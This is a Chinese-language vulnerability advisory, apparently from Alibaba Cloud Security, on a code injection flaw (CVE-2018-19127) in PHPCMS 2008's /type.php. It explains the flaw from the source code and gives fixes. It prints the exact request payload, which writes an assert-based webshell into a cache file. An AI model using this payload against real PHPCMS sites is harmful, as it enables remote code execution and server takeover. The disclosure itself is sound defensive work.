威脅快報|CVE漏洞—PHPCMS2008 /type.php程式碼注入高危漏洞預警
背景
PHPCMS網站內容管理系統是國內主流CMS系統之一,同時也是一個開源的PHP開發框架。
PHPCMS最早於2008年推出,最新版已出到v9.6.3,但由於穩定、靈活、開源的特性,時至今日,PHPCMS2008版本仍被許多網站所使用。
漏洞簡介
PHPCMS 2008存在的程式碼注入漏洞,導致攻擊者可向網站上路徑可控的快取檔案寫入任意內容,從而可能獲取webshell並執行任意指令。
當攻擊者向安裝有PHPCMS 2008的網站傳送uri為如下文字的payload
/type.php?template=tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss
那麼@unlink(_FILE_);assert($_POST[1]);
這句惡意php指令將被寫入網站的/cache_template/rss.tpl.php檔案。
阿里雲安全於11月5日捕獲到該漏洞的多個利用樣本,分析後因未聯絡上PHPCMS官方,已報告給國家資訊保安漏洞共享平臺,且在cve公共漏洞庫中編號為CVE-2018-19127。
漏洞原理
該漏洞源於PHPCMS 2008原始碼中的/type.php檔案。該檔案包含如下程式碼:
if(empty($template)) $template = 'type';...
include template('phpcms', $template);
這裡$template變數是使用者能夠通過傳入引數控制的,同時可以看到該變數之後會被傳入template()方法。而template()方法在/include/global.func.php檔案中定義,包含如下程式碼:
template_compile($module, $template, $istag);
不難看出,這裡會繼續呼叫/include/template.func.php中的template_compile():
function template_compile($module, $template, $istag = 0){ ...
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
$strlen = file_put_contents($compiledtplfile, $content); ...
}
在這個方法中,$template變數同時被用於$compiledtplfile中檔案路徑的生成,和$content中檔案內容的生成。
而前文所述的攻擊payload將$template變數被設定為如下的值
tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss
所以在template_compile()方法中,呼叫file_put_contents()函式時的第一個引數就被寫成了data/cache_template/phpcms_tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss.tpl.php
,這將被php解析成"data/cache_template/rss.tpl.php"。
最終,@unlink(_FILE_);assert($_POST[1]);
將被寫入該檔案。
影響範圍
雖然距離PHPCMS2008版本的推出已經10年,但仍有不少網站正在使用PHPCMS2008,包括政府、企業的網站;根據Fofa網路空間安全搜尋引擎的全網精確搜尋結果顯示,還有近200個使用PHPCMS 2008版本的網站;而如果使用模糊匹配對網站進行識別,匹配結果更達上萬個。
通過利用該漏洞,攻擊者在向路徑可控的檔案寫入惡意指令碼程式碼後,後續將能夠向該檔案傳送webshell指令,在伺服器上執行任意程式碼,因此該程式碼注入漏洞的影響較大。
安全建議
手動修復
臨時解決可以在/type.php檔案中對$template變數進行過濾,避免使用者輸入的含有"("、"{"等符號的內容混入,並被當做路徑和指令碼內容處理。
但由於PHPCMS2008版本過舊,使用者應儘量升級到最新版本的PHPCMS,才能夠更好地保障安全。
安全加固
● 雲防火牆已支援對該類漏洞的入侵防禦,開啟雲防火牆IPS攔截模式和虛擬補丁功能,使用者即使不自行進行修復,也依然能夠進行防禦和攔截。● 購買安全管家服務,您將能夠在阿里雲安全專家指導下進行安全加固及優化,避免系統受到該漏洞及後續其他漏洞影響。